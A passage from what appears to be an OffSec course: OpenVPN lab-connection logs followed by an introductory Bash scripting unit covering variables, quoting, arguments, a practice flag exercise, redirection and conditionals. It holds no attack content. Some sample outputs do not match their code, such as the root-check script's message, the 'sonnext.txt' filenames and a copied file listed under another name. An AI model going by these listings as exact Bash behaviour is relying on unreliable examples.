2021-04-27 16:44:27 TCP/UDP: Preserving recently used remote address: [AF_INET]142.44.204.172:1194
2021-04-27 16:44:27 UDP link local: (not bound)
2021-04-27 16:44:27 UDP link remote: [AF_INET]142.44.204.172:1194
2021-04-27 16:44:27 [offensive-security.com] Peer Connection Initiated with [AF_INET]142.44.204.172:1194
2021-04-27 16:44:28 TUN/TAP device tun0 opened
2021-04-27 16:44:28 net_iface_mtu_set: mtu 1500 for tun0
2021-04-27 16:44:28 net_iface_up: set tun0 up
2021-04-27 16:44:28 net_addr_v4_add: 192.168.49.130/24 dev tun0
2021-04-27 16:44:28 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2021-04-27 16:44:28 Initialization Sequence Completed
Listing 16 - Connecting to the Offsec Labs
Note: we need to invoke sudo because the tun0 network
interface must be created with elevated permissions. Here is the error
we receive when we attempt to connect as the kali user.
kali@kali:~$ openvpn vpn_config.ovpn
2021-04-27 18:12:43 Note: Treating option '--ncp-ciphers' as '--data-ciphers' (renamed in OpenVPN 2.5).
2021-04-27 18:12:43 DEPRECATED OPTION: --cipher set to 'AES-128-CBC' but missing in --data-ciphers (AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-128-CBC' to --data-ciphers or change --cipher 'AES-128-CBC' to --data-ciphers-fallback 'AES-128-CBC' to silence this warning.
2021-04-27 18:12:43 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Feb 24 2021
2021-04-27 18:12:43 library versions: OpenSSL 1.1.1j 16 Feb 2021, LZO 2.10
2021-04-27 18:12:43 TCP/UDP: Preserving recently used remote address: [AF_INET]51.222.130.179:1194
2021-04-27 18:12:43 UDP link local: (not bound)
2021-04-27 18:12:43 UDP link remote: [AF_INET]51.222.130.179:1194
2021-04-27 18:12:43 [offensive-security.com] Peer Connection Initiated with [AF_INET]51.222.130.179:1194
2021-04-27 18:12:44 ERROR: Cannot ioctl TUNSETIFF tun: Operation not permitted (errno=1)
2021-04-27 18:12:44 Exiting due to fatal error
Listing 17 - Failing to connect as the Kali user
Troubleshooting tip: the OpenVPN client will not prevent you from
connecting to the same VPN multiple times. The only indication you
will receive is that a tun1 network interface will be created
instead of tun0. This can be observed in the openvpn output, as well
as by running the ip command.
Offsec's VPNs do not allow multiple connections to occur from the same
user at the same time. However, since the client can connect to the
VPN arbitrary times, the end result is that traffic may be lost and
connections may be slow. If you notice that your connectivity to the
VPN is less responsive than usual, check to make sure that you haven't
connected to the VPN via multiple instances.
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this topic should take
approximately 6 hours to complete.
The GNU Bourne-Again Shell (Bash)[206] is a powerful work
environment and scripting engine. As security professionals, we need
to be comfortable managing and interacting with Bash scripting to
streamline and automate many Linux tasks and procedures.
In this Topic, we will introduce Bash scripting.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 30 minutes to complete.
A Bash script is a plain-text file that has a series of commands that
are executed as if they had been typed at a terminal prompt. Generally
speaking, Bash scripts have an optional extension of .sh (for
ease of identification), begin with #!/bin/bash, and must
have executable permissions set before they can be executed.
Let's begin with a simple "Hello World" Bash script. Let's create a
file named hello-world.sh and put the commands below in it.
This script will simply print "Hello World".
kali@kali:~$ cat ./hello-world.sh
#!/bin/bash
# Hello World Bash Script
echo "Hello World!"
Listing 1 - Creating a simple 'Hello World' Bash
script
This script has several components worth explaining:
Line 1: Is composed of two parts, the first part, #! is commonly
known as the shebang,[207] and it is used to point to what
interpreter the commands should use. The second part, /bin/bash, is
the absolute path[208] to the interpreter, which is used to run
the script. This makes it a "Bash script" as opposed to another type
of shell script, like a "C Shell script".
Line 2: A single # is used to add a comment, so all text that
follows it on the same line is ignored. Comments are good to leave
notes for the person who is reading or using the code. This is
especially useful if it has been a month since the code is written,
and then used.
Line 3: echo "Hello World!" uses the echo Linux command utility
to print a given string which in this case is "Hello World!" to the
standard output device, the terminal.
There are multiple ways to execute bash. We are going to explore them
below.
First, let's review the file entry for the bash script we've prepared.
We can do that by using the list command, ls, and specifying
the -l option.
kali@kali:~$ ls hello-world.sh -l
-rw- r--r-- 1 kali kali 59 Jan 16 14:20 hello-world.sh
Listing 2 - hello-world File Entry Unexecutable
We now want to run the script. The file listing shows that we have
read (r) and write (w) permission, but not execute (x). If we try to
run it, we receive the following error message:
kali@kali:~$ ./hello-world.sh
bash: ./hello-world.sh: Permission denied
Listing 3 - 'Hello World' Bash script Permission denied
We can use the chmod command with +x to add execute
permissions. Let's do that and then check the file entry again.
kali@kali:~$ chmod +x hello-world.sh
kali@kali:~$ ls hello-world.sh -l
-rwx r-x r-x 1 kali kali 59 Jan 16 14:29 hello-world.sh
Listing 4 - hello-world File Entry Executable
Now we have the execute option, we can run the script without directly
calling on the interpreter.
kali@kali:~$ ./hello-world.sh
Hello World!
Listing 5 - Running a simple 'Hello World' Bash
script
Nice! We were able to run the script and have the text displayed on
the terminal.
Another way to successfully run the bash script is to pass the script
as an argument to the bash command.
kali@kali:~$ bash hello-world.sh
Hello World!
Listing 6 - Running a simple 'Hello World' Bash
script with bash
Perfect! The script ran and we have "Hello World!" displayed on the
terminal.
The last method we will discuss is running bash commands from the
command line. Bash is a shell and an interpreter that will run shell
commands. So, we can take the code from our script and type it (or
paste it) directly into the terminal. If the default shell is Bash, it
will run our commands as bash.
There are different kinds of Unix distributions and shells
that exist. Bash is one type of shell that is default on many Linux
distributions. While there is a large overlap between shells, it is
important to note that there are small differences.
Let's check it out:
kali@kali:~$ echo "Hello World!"
Hello World!
Listing 7 - Using Command Line Interface to run Bash Commands
Once again, our code works when we run directly from the command line.
As we move forward, remember that we have many options to execute
bash.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
Our first script was very simple, but we can do much more with Bash.
Let's start by looking at how we can use variables to store values
we want to use. Variables are named locations in which we temporarily
store data while the script is running. We can set (or "declare")
a variable, which assigns a value to it. Once we've set it, we can
use it in our commands which will "expand" or "resolve" it using its
stored value.
Variables can be in uppercase, lowercase, or a mixture of both.
However, Bash is case-sensitive so we must be consistent when
declaring and using variables. That means that the variable surname
is not the same as Surname.
It's good practice to use descriptive variable names, as these make
our scripts much easier to read and maintain. While that may not be so
obvious on the day we write the script, it certainly is the case two
years later when we pick it up and try to understand it.
We can declare variable values in several ways. The easiest method
is to set the value directly with a simple name=value declaration.
Let's begin by setting a variable, and notice that there are no spaces
before or after the "=" sign:
kali@kali:~$ firstname=Good
Listing 8 - Declaring a simple variable
Now that we have set a variable, we need to reference it. We do this
by putting the "$" character in front of the variable. When Bash
encounters this syntax in a command, it replaces the variable name
with its value ("expands" the variable) before execution.
Let's declare a second variable called surname and assign it the
value "Hacker".
kali@kali:~$ surname=Hacker
Listing 9 - Declaring another variable
Now that we have set the variables, let's use the echo
command to print them out the terminal.
kali@kali:~$ echo $firstname $surname
Good Hacker
Listing 10 - Displaying our own variables
The text "Good Hacker" is displayed on the terminal because of the
echo command. The command takes $firstname and
$surname as arguments and prints them on the terminal. In
this case, they are variables, which contain values. It also take the
space character into account, which is why we have a space between
"Good" and "Hacker".
Some languages require that we explicitly declare a variable as a
specific type such as Integer, Real, String, and so on - but in Bash,
all variables are held as strings and then used as appropriate to the
context.
In our previous example, we set firstname and surname to single
words, but sometimes we'll want to use more than one word, so let's
see what happens when we do that.
kali@kali:~$ greeting=Hello World
bash: World: command not found
Listing 11 - Two word variable without quotes
Our attempt to declare a greeting has caused an error because bash
thinks that after the word "Hello" we are writing a new command. To
correct this we'll need to use quotes around the string.
kali@kali:~$ greeting="Hello World"
kali@kali:~$ echo $greeting
Hello World
Listing 12 - Using quotes around string variables
We can use single or double quotes to declare string variables, but
there's a difference in how Bash interprets certain characters in
strings, and we need to be aware of this when we're scripting.
When encountering single quotes, Bash interprets every enclosed
character literally with no interpretation.
When enclosed in double-quotes, certain characters such as "$",
"`", and "\" in variables will be processed in an initial
substitution pass on the enclosed text. We need to understand what
this means for the value in our variable.
Let's start with a simple example to understand how "$" is handled.
First, we'll create a variable using single quotes and print that out
with echo. Then we'll create a second variable in double-quotes. For
this second variable, we will include the first variable.
kali@kali:~/Documents/test$ greeting='Hello World'
kali@kali:~/Documents/test$ echo $greeting
Hello World
kali@kali:~/Documents/test$ greeting1='New $greeting'
kali@kali:~/Documents/test$ echo $greeting1
New $greeting
kali@kali:~/Documents/test$ greeting2="New $greeting"
kali@kali:~/Documents/test$ echo $greeting2
New Hello World
Listing 13 - Using single and double-quotes to
illustrate complex variable assignment using a string
When we used the "$" inside single quotes, it printed out exactly
what we entered. Bash interprets the "$" as the literal character
"$". However, when we used double quotes, Bash interprets the "$"
as the lead-in character that specifies a variable and prints out the
variable content.
We've already echoed two variables together to display a combined
string. Similarly, we can combine two variables into a third using
Bash, as shown in the following example.
kali@kali:~$ greet1="Hello, my name is "
kali@kali:~$ greet2="Jolinda"
kali@kali:~$ greeting=$greet1$greet2
kali@kali:~$ echo $greeting
Hello, my name is Jolinda
Listing 14 - Concatenating strings
This process is known as concatenation and it can be quite useful if
we're building a multi-part string as we're executing our script.
The backtick character is another special character and is used to
embed commands or program names in variables. When we resolve the
variable, such as by echoing it, the command is executed and we get
the results. This is known as command substitution.[209]
We do this by embedding the command in backticks within a
double-quoted string. Again, if we use single quotes, we'll just
get the literal value we've set. Let's code this using the command
whoami with single and double-quoted strings, and print the
results to the terminal.
kali@kali:~$ user1="`whoami`"
kali@kali:~$ echo $user1
kali
kali@kali:~$ user2='`whoami`'
kali@kali:~$ echo $user2
`whoami`
Listing 15 - Illustrating the use of command
substitution with backticks
Using double quotes, the whoami command is executed and the result is
the active username - in this case, kali. Using single quotes, we
get the literal value we set for the variable.
In this context, double quotes are the default when neither single nor
double quotes are specified for a string, so the backtick doesn't need
to be scripted in quotes. Let's run the previous example again, this
time without quotes.
kali@kali:~$ user1=`whoami`
kali@kali:~$ echo $user1
kali
Listing 16 - Illustrating the use of unquoted backticks
There's also another way to get command execution using Bash
scripting. We can place the variable name in parentheses
"()", preceded by a "$" character:
kali@kali:~$ user=$(whoami)
kali@kali:~$ echo $user
kali
Listing 17 - Illustrating the use of command
substitution using parentheses
The backtick method is older and typically discouraged as there
are differences in how the two methods of command substitution
behave.[210] It's also important to note that command
substitution happens in a subshell and variable changes in the
subshell will not alter variables from the master process - but that's
for another day as it's out of scope for this Learning Unit.
What is in scope, however, is understanding when command execution
takes place. When using command substitution, it's important to
remember that command execution takes place at the time the variable
is set, not when its resolved, as shown in the following example.
kali@kali:~$ part="To be"
kali@kali:~$ quote=$(echo $part)
kali@kali:~$ part="Or not to be"
kali@kali:~$ echo $quote
To be
Listing 18 - Illustrating the timing of command
substitution
This example demonstrates that when the command "echo $part" was
executed, we saved the results of execution to the variable we called
quote. When we subsequently changed the variable called part, it did
not affect the value of quote.
As we've noted, Bash holds its variables as strings. However, we can
use Bash variables as numeric values and we can manipulate them with
mathematical operators. Bash deals with numbers only as integers and
does not handle floating-point values.
To demonstrate this, we'll use a special convention in Bash for
carrying out mathematical operations which is the use of double
parentheses.
kali@kali:~$ firstNumber="7"
kali@kali:~$ secondNumber=3
kali@kali:~$ echo $((firstNumber+secondNumber))
10
Listing 19 - Illustrating the use of numerics
Here, we used the double parentheses to signify the use of arithmetic
operations. The variable firstNumber contains the string "7" while
the variable secondNumber contains the string "3". Keep in mind,
that from the bash interpreter perspective, variables are treated as
strings by default. In this case, it does not matter if we put double
quotes, single quotes, or no quotes around the numbers. Bash will only
interpret them as strings.
Because the variables are within the double parentheses and the values
resemble numbers, bash converts them to numbers. The dollar sign ($)
represents the return value and thus, 10 is printed in the terminal.
If we attempt to do an operation and one of the values is not numeric,
then bash defines it as the numerical value of zero.
kali@kali:~$ firstNumber="seven"
kali@kali:~$ secondNumber=3
kali@kali:~$ echo $((firstNumber+secondNumber))
3
kali@kali:~$ echo $((firstNumber*secondNumber))
0
Listing 20 - Using strings in numeric operations
In this case, the string "seven" does not represent a numerical
value. Bash will define that value as the number 0 when used within an
arithmetic operation. Therefore, 0+3 equals 3 and 0*3 equals 0, which
is what is printed in the terminal.
We need to be careful, because if we give bash an opportunity to deal
with these variables as strings, it will happily do so, as in the
following example.
kali@kali:~$ firstNumber=7
kali@kali:~$ firstNumber=$firstNumber+1
kali@kali:~$ echo $firstNumber
7+1
Listing 21 - A mistake with numeric variables
In this example, we lacked the double parentheses, which tells the
interpreter to convert strings to numbers if they resemble numerical
values. Because of that it treated "7+1" as characters and not a
mathematical operation.
There's another way of evaluating mathematical operations, using the
let command. This command understands the four standard mathematical
operators, and also the double-plus operator which is used to
increment or add 1 to a value. This is demonstrated in the following
example.
kali@kali:~$ val1=3
kali@kali:~$ val2=6
kali@kali:~$ let val3=val1+val2
kali@kali:~$ echo $val3
9
kali@kali:~$ let val1++
kali@kali:~$ echo $val1
4
Listing 22 - Using Let for numeric operations
Note that we don't use the $ prefix when coding expressions with
let. In the majority of situations it's preferable to use double
parentheses, but its useful to be aware of the let command.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
Sometimes we will want to use arguments in our Bash scripts.[211] In
the next sections, we'll learn how arguments are handled by Bash.
Just as we might use an argument on a command, we can use arguments
in a script. Let's review a simple script that requires two arguments.
This has been coded into the arg.sh script file and made
executable.
kali@kali:~$ cat arg.sh
#!/bin/bash
echo "There are $# arguments"
echo "The first two arguments are $1 and $2"
kali@kali:~$ ./arg.sh who goes there?
There are 3 arguments
The first two arguments are who and goes
Listing 23 - Illustrating the use of arguments in Bash
The variable $1 is printed out as "who" and $2 is printed out as
"goes". This confirms that $1 and $2 variables represent the first
and second arguments passed to the script.
In this example, we have two positional arguments and we understand
their meaning by the position they appear on the command. However,
when there are many arguments, remembering their order can be
problematic. To address this, Bash lets us use named arguments which
consist of an initial argument name with a single or double dash
prefix, followed by the value (which may or may not require an equals
sign). For example, we can use the Bash head command to list the
first few lines of a file. By default, this lists the first 10.
However, we can use the named argument --lines to specify how
many we want.
kali@kali:~$ head heidi.txt --lines=2
The secrets of wealth and the love of the muse,
But gladness is predictable by universal laws;
Listing 24 - Illustrating the use of named arguments in Bash
We won't go into named arguments in our scripts, as these are beyond
the scope of this topic, but it's useful to know that they exist and
that Bash does provide ways to handle them.
Please use the following instructions for some of the exercises
below.
SSH into the machine using the provided credentials. Then, navigate
to the user's home directory, if necessary, where we will find a
challenge folder. Change directories into folder, where we will find
two files.
Let's take user "challenge1" as an example. The following example is
for explanation purposes only. This user, directory, and files do not
exist in the machine lab.
challenge1@ubuntu20temp:/$ pwd
/
challenge1@ubuntu20temp:/$ cd /home
challenge1@ubuntu20temp:/home$ ls
challenge1
challenge1@ubuntu20temp:/home$ cd challenge1/
challenge1@ubuntu20temp:~$ ls
challenge1
challenge1@ubuntu20temp:~$ cd challenge1/
challenge1@ubuntu20temp:~.challenge1$ pwd
/home/challenge1/challenge1
challenge1@ubuntu20temp:~.challenge1$ ls -la
total 16
drwxr-xr-x 2 challenge1 challenge1 4096 Jan 20 21:11 .
drwxr-xr-x 3 challenge1 challenge1 4096 Jan 20 21:17 ..
-rwx------ 1 challenge1 challenge1 43 Jan 20 21:10 challenge1.sh
-rwx------ 1 root root 143 Jan 20 21:11 challenge1_test.sh
Listing 25 - Finding challenge files within the challenge directory
We have full privileges over the first file, while the second file
is owned by root. Try to cat both files. We will find out that our
user does not have read or write permissions to the second file. What
we can do, however, is run the file as root. When we run the second
file, it will take our first file, run some checks, and provide the
flag if the requirements are met. Otherwise, we won't get our flag.
challenge1@ubuntu20temp:~.challenge1$ cat challenge1.sh
#!/bin/bash
echoVariable () {
# In this challenge, we need to echo the argument
echo test # this line can be altered or removed
}
# the line below initiates the echoVariable() function using the variable "name" as the argument. Use it for testing. It is recommended to not modify it as it can break functionality.
echoVariable "name"
challenge1@ubuntu20temp:~.challenge1$ cat challenge1_test.sh
cat: challenge1_test.sh: Permissions denied
challenge1@ubuntu20temp:~.challenge1$ sudo /bin/bash /home/challenge1/challenge1/challenge1_test.sh
challenge1@ubuntu20temp:~.challenge1$
Listing 26 - File permissions
We are responsible for writing code within the curly brackets in the
first file and running the second file to get the flag. Let's use our
favorite text editor to modify the first file, challenge.sh.
Then we will cat the file to confirm our changes.
challenge1@ubuntu20temp:~.challenge1$ cat challenge1.sh
#!/bin/bash
echoVariable () {
#In this challenge, we need to echo the argument
echo $1
}
# the line below initiates the echoVariable() function using the variable "name" as the argument. Use it for testing. It is recommended to not modify it as it can break functionality.
echoVariable "name"
Listing 27 - Confirming our changes in the first file
Let's run the script and see if we get the expected output.
challenge1@ubuntu20temp:~.challenge1$ ./challenge1.sh
name
Listing 28 - Testing our code
Perfect! Our task was to echo the argument. The argument in the test
case was "name" and we were able to successfully echo it. Finally,
let's run the second file, where it takes our code within the
function, runs several checks and compare the results. If everything
matches, it will provide the flag. We will need to use the sudo
command to run it as root and provide the absolute path of the bash
binary and the check script, in this case challenge_test.sh
challenge1@ubuntu20temp:~.challenge1$ sudo /bin/bash /home/challenge1/challenge1/challenge1_test.sh
BASH{OUR_FLAG}
challenge1@ubuntu20temp:~.challenge1$
Listing 29 - Getting the Flag
In the above example, our code in challenge.sh passed the
checks in the challenge_test.sh script. Therefore, the flag
was provided when we ran the challengetest.sh script.
Follow the same methodology for some of the exercises in this topic.
Bash reserves some special variable names, as shown in the table
below.
| Variable Name | Description |
|---|---|
| $0 | The name of the Bash script |
| $1 - $9 | The first 9 arguments to the Bash script |
| $# | Number of arguments passed to the Bash script |
| $@ | All arguments passed to the Bash script |
| $? | The exit status of the most recently run process |
| $$ | The process ID of the current script |
| $USER | The username of the user running the script |
| $UID | The user identifier of the user running the script |
| $HOSTNAME | The hostname of the machine |
| $RANDOM | A random number |
| $LINENO | The current line number in the script |
Table 1 - Special Bash variables
We've come across the variables $1 and $2 as script arguments,
and we can use up to nine positional arguments. Note that the argument
$0 provides the name of the script in the form it was entered so it
may have file path information - or may not.
Some of these special variables can be very useful when debugging
a script. For example, we might want to check the exit status of a
command to determine whether it was successfully executed or not.
kali@kali:~$ ls /home
kali
kali@kali:~$ echo $?
0
kali@kali:~$ ls /home/sweet/home
ls: cannot access '/home/sweet/home': No such file or directory
kali@kali:~$ echo $?
2
Listing 30 - Illustrating the use of the command status code
In this example, the first listing was for a valid folder and returned
an exit code of zero. The second attempt failed as the folder does not
exist, and the command returned an exit code of 2.
We can set the exit status of our script by using the exit
command with a value. Let's set our exit status to 1 in the
args.sh example.
kali@kali:~$ cat arg.sh
#!/bin/bash
echo "There are $# arguments"
echo "The first two arguments are $1 and $2"
exit 1
kali@kali:~$ ./arg.sh who goes there?
There are 3 arguments
The first two arguments are who and goes
kali@kali:~$ echo $?
1
Listing 31 - Illustrating the use of exit status code
We'll leave this here for now, but we'll be using special variables as
we progress through this Topic.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
So far we have looked at static Bash scripts which execute fixed code
or take input from the command line. Let's learn how to interact with
the user, take the information they provide, and do something with it.
We can request user input while a script is running by using the
read command. In this example, we'll take user input and
assign it to a variable. When this script runs, it prints a question
to the screen and waits for an answer from the user. Once that
happens, the program will echo out another line that tells the user
what their answer is.
kali@kali:~$ cat ./input1.sh
#!/bin/bash
echo "Hello there, would you like to learn how to hack: Y/N?"
read answer
echo "Your answer was $answer"
kali@kali:~$ ./input1.sh
Hello there, would you like to learn how to hack: Y/N?
Y
Your answer was Y
Listing 32 - Collecting user input using read
From the output, we can observe that the script waited at a blank
line below the message. We can change that experience for the user by
adding various options to the read command. Two of the most commonly
used options include -p, which allows us to specify a prompt,
and -s, which makes the user input silent. The latter is
ideal for entering user credentials.
In the example below, we ask the user to input the credentials and use
the -p option with the text "Username: ", which will display
what is typed. Then we ask the user to enter their password, with
the -sp option. This option will hide the text that the user
types.
kali@kali:~$ cat input2.sh
#!/bin/bash
# Prompt the user for credentials
read -p 'Username: ' username
read -sp 'Password: ' password
echo "Thanks, your creds are as follows: " $username " and " $password
kali@kali:~$ ./input2.sh
Username: kali
Password:
Thanks, your creds are as follows: kali and nothing2see!
Listing 33 - Prompting user for input and silently
reading it using read
We now know how to request input from the user and use it in our
script.
When we issue the read command, Bash waits for us to type in some
input. When we execute the echo command, it displays the information
in our terminal. However, this is not the only way we can manage input
and output. There are two special operators we can use in Bash that
will allow us to provide input from a file rather than the keyboard,
and output to a file rather than the terminal. The redirection
operators are < and >. We'll also look at a variation of the
output redirection operator >>.
Let's build another script called input3.sh to just display
what it receives, make it executable, and run it.
kali@kali:~$ cat input3.sh
#!/bin/bash
read line
echo $line
kali@kali:~$ ./input3.sh
This is my input
This is my input
Listing 34 - Echoing input
Now let's run that again doing an input redirect to take the input
from a file we have previously created called heidi.txt.
kali@kali:~$ ./input3.sh < heidi.txt
The secrets of wealth and the love of the muse,
Listing 35 - Echoing redirected input
The script didn't wait at the terminal for input. Instead, it took
the first line from the file that we had redirected and echoed it
out to the terminal. Let's run that again and read two lines. We
can adjust the code by adding a second read and echo and calling it
input4.sh.
kali@kali:~$ cat input4.sh
#!/bin/bash
read line
echo $line
read line
echo $line
kali@kali:~$ ./input4.sh < heidi.txt
The secrets of wealth and the love of the muse,
But gladness is predictable by universal laws;
Listing 36 - Echoing redirected input
This script reads the first line from heidi.txt and displays
it, then reads the second line and displays it. We may want to read
the whole file and we'll do that later in the Topic when we look at
looping.
We can also save the output from a command in a file using output
redirect. First, let's introduce another bash command that can be
useful from time to time called touch. This does one of two things.
If the filename we give it doesn't exist, it will create it. If it
does exist, then it will update the file date/time. It's often used to
create an empty file that we'll either subsequently write to or just
as a flag that an action has taken place.
We can use echo to write a line into a file by using output redirect.
The following command writes out the first line of Shakespeare's
Sonnet no. 18 to a file sonnet.txt.
kali@kali:~$ echo "Shall I compare thee to a summer's day?" > sonnet.txt
kali@kali:~$ cat sonnext.txt
Shall I compare thee to a summer's day?
Listing 37 - Redirecting echo output
Let's try that again and put in the second line of the sonnet.
kali@kali:~$ echo "Shall I compare thee to a summer's day?" > sonnet.txt
kali@kali:~$ echo "Thou art more lovely and more temperate:" > sonnet.txt
kali@kali:~$ cat sonnext.txt
Thou art more lovely and more temperate:
Listing 38 - Redirecting two echo output lines
Now we have a problem. The redirect overwrites our first line with the
second and we have just the second line in the file. This is where the
double output redirect operator >> comes in; it appends the output
to the file, rather than overwriting it.
Let's delete the sonnet file and start again. We can use the remove
command rm to delete the file. We can then touch the file to create
an empty sonnet.txt and then use the append version of output
redirect to echo into it.
kali@kali:~$ rm sonnet.txt
kali@kali:~$ touch sonnet.txt
kali@kali:~$ echo "Shall I compare thee to a summer's day?" >> sonnet.txt
kali@kali:~$ echo "Thou art more lovely and more temperate:" >> sonnet.txt
kali@kali:~$ cat sonnext.txt
Shall I compare thee to a summer's day?
Thou art more lovely and more temperate:
Listing 39 - Using redirection to append to a file
We'll often want to issue file commands in our scripts, so it's worth
briefly touching upon how we do this. We have covered a lot already.
We've already used the ls command to list files in our folder, and
we've displayed files with the cat command. We've used redirection to
read a file into our scripts, and we've used redirection to save text
in a file. We've seen how to create an empty file with touch and how
to remove files with rm.
We've used the head command to list the first few lines of a file.
There's a similar command called tail which displays the last few
lines of a file.
We've talked about folders, and on Linux, we're working in an
environment that has a standard set of system folders. The start point
is the root folder, which is referred to as just /. Within
this, we'll find system folders such as /etc, /var,
/home, and so on.
Mostly we'll be working in our home folder, which with the user kali
is /home/kali. We have a shorthand way of referring to this,
which is ~.
There are a few other Bash commands which are useful for managing
files. One that we'll use to manage our scripts is the cp
command.
kali@kali:~$ cp heidi.txt heidi.bak
Listing 40 - Copying files
This creates a new file called heidi.bak and copies the
contents of heidi.txt to it. We can make new folders if
we wish, using the mkdir command, and copy the file to the
folder using folder prefixes. Similarly, we can list files in a folder
by using the folder name.
kali@kali:~$ mkdir poems
kali@kali:~$ cp heidi.txt poems/heidi.txt
kali@kali:~$ ls ~/poems
heidi.bak
Listing 41 - Copying files into a new folder
This example demonstrates the use of the tilde as a shorthand for the
home folder. However, as we were in our home folder, we could just
have used the command ls poems.
We move between folders using the cd command. We can use
folder names relative to where we are, or we can use full folder names
starting at the root.
kali@kali:~$ cd poems
kali@kali:~/poem$ ls
heidi.bak
kali@kali:~/poem$ cd /home/kali
kali@kali:~$
Listing 42 - Moving between folders
When we're dealing with subfolders, we need to use a special switch
if we want to delete them. This -r switch means recursive and
it will remove the directory and any contents it has. Let's take an
example of a folder called oldfiles that we want to get rid
of.
kali@kali:~$ rm oldfiles
rm: oldfiles: is a directory
kali@kali:~$ rm -r oldfiles
Listing 43 - Deleting folders
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
To create some flexibility in our script, we can use conditional
statements. Conditional statements allow us to perform different
actions based on different conditions. The most common conditional
Bash statements include if, else, and elif.
The if statement is relatively simple; it checks to see if a condition
is true but it requires a very specific syntax. Pay careful attention
to this syntax, especially the use of required spaces. The syntax is
fairly straightforward. To begin the block, we start with an if, and
then a test inside a pair of square brackets. This tells the script
what we want to evaluate. If "some test" evaluates as true, the script
will move to the then section and "perform an action". This if
statement is then closed with a fi.
if [ <some test> ]
then
...perform an action...
fi
Listing 44 - General syntax for the if statement
Now that we understand the syntax, let's look at an actual example
that asks the user to type in their age. If the user enters an age
that is less than (-lt) 18, the script would output a warning
message.
kali@kali:~$ cat ./if.sh
#!/bin/bash
# if statement example
read -p "What is your age: " age
if [ $age -lt 18 ]
then
echo "You might need parental permission to take this course!"
fi
kali@kali:~$ ./if.sh
What is your age: 17
You might need parental permission to take this course!
Listing 45 - Using the if statement in Bash
We can repeat this script many times and, as long as the age is under
18, it will always get the warning message.
The square brackets ("[" and "]") in the if statement above is a
reference to the test command. This simply means we can use
all the operators[212] that are allowed by the test
command. We won't go into great detail, but it is important to
understand the difference between "arithmetic" and "comparison"
operators.
Let's examine them in the following code block.
x = 4
y == 4
Listing 46 - Arithmetic vs Comparison
In this example, while they seem similar, they are very different.
In the first example x = 4, we are saying that for the variable x,
we want the value 4. In the second example, y == 4 we are making a
comparison, "Is the value in the variable y equal to the value 4.
Below is a short table of some common test command operators.
| Operator | Description: Expression True if... |
|---|---|
| !EXPRESSION | The EXPRESSION is false. |
| -n STRING | STRING length is greater than zero |
| -z STRING | The length of STRING is zero (empty) |
| STRING1 != STRING2 | STRING1 is not equal to STRING2 |
| STRING1 = STRING2 | STRING1 is equal to STRING2 |
| INTEGER1 -eq INTEGER2 | INTEGER1 is equal to INTEGER2 |
| INTEGER1 -ne INTEGER2 | INTEGER1 is not equal to INTEGER2 |
| INTEGER1 -gt INTEGER2 | INTEGER1 is greater than INTEGER2 |
| INTEGER1 -lt INTEGER2 | INTEGER1 is less than INTEGER2 |
| INTEGER1 -ge INTEGER2 | INTEGER1 is greater than or equal to INTEGER 2 |
| INTEGER1 -le INTEGER2 | INTEGER1 is less than or equal to INTEGER 2 |
| -d FILE | FILE exists and is a directory |
| -e FILE | FILE exists |
| -r FILE | FILE exists and has read permission |
| -s FILE | FILE exists and it is not empty |
| -w FILE | FILE exists and has write permission |
| -x FILE | FILE exists and has execute permission |
Table 2 - Common test command operators
With the above in mind, our previous example using if can be
rewritten without square brackets as follows:
kali@kali:~$ cat if2.sh
#!/bin/bash
# if statement example 2
read -p "What is your age: " age
if test $age -lt 16
then
echo "You might need parental permission to take this course!"
fi
kali@kali:~$ ./if2.sh
What is your age: 15
You might need parental permission to take this course!
Listing 47 - Using the test command in an if
statement
Even though this example is functionally equivalent to the example
using square brackets, using square brackets makes the code slightly
easier to read.
We can also perform a certain set of actions if a statement is true
and another set if it is false. To do this, we can use the else
statement, which has the following syntax:
if [ <some test> ]
then
<perform action>
else
<perform another action>
fi
Listing 48 - General syntax for the else statement
Let's extend our previous "age" example to include the else
statement. Here we will print out a welcome message if the user is 18
or older.
kali@kali:~$ cat ./else.sh
#!/bin/bash
# else statement example
read -p "What is your age: " age
if [ $age -lt 18 ]
then
echo "You might need parental permission to take this course!"
else
echo "Welcome to the course!"
fi
kali@kali:~$ ./else.sh
What is your age: 21
Welcome to the course!
Listing 49 - Using the else statement in Bash
Notice that the else statement was executed when the entered age was
greater than (or more specifically "not less than") eighteen.
Let's take another example. We can use the if statement in
conjunction with the special variable $UID to determine whether the
script is being run with root privileges.
kali@kali:~$ cat checker.sh
#!/bin/bash
if [ $UID == 0 ]
then
echo "We have root privileges"
else
echo "We are running in usermode $UID"
fi
kali@kali:~$ ./checker.sh
We are running in usermode 501
kali@kali:~$ sudo ./checker.sh
We are running as root
Listing 50 - Checking for root
Here we've used the == operator, which is equivalent to the -eq
operator. Checking $UID can be quite useful in scripts where we may
want to present different options to root users.
The if and else statements only allow two code execution branches
based on a single test. We can add additional tests and branches with
the elif statement which uses the following pattern:
if [ <some test> ]
then
<perform action>
elif [ <some test> ]
then
<perform different action>
else
<perform yet another different action>
fi
Listing 51 - The elif syntax in Bash
Let's extend our "age" example to include the elif statement:
kali@kali:~$ cat ./elif.sh
#!/bin/bash
# elif example
read -p "What is your age: " age
if [ $age -lt 18 ]
then
echo "You might need parental permission to take this course!"
elif [ $age -gt 60 ]
then
echo "Hats off to you, respect!"
else
echo "Welcome to the course!"
fi
kali@kali:~$ ./elif.sh
What is your age: 65
Hats off to you, respect!
Listing 52 - Using the elif statement in Bash
In this example, the code execution flow was slightly more complex.
In order of operation, the then branch did not execute because the
entered age was not less than eighteen. Instead, the elif branch was
entered and another test was performed. This time the test succeeded
(and the "Hats off.." message was displayed) because the age was
greater than sixty.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 20 minutes to complete.
We've looked at strings and numerics, but there's another class
of values we should consider Boolean. These variables take
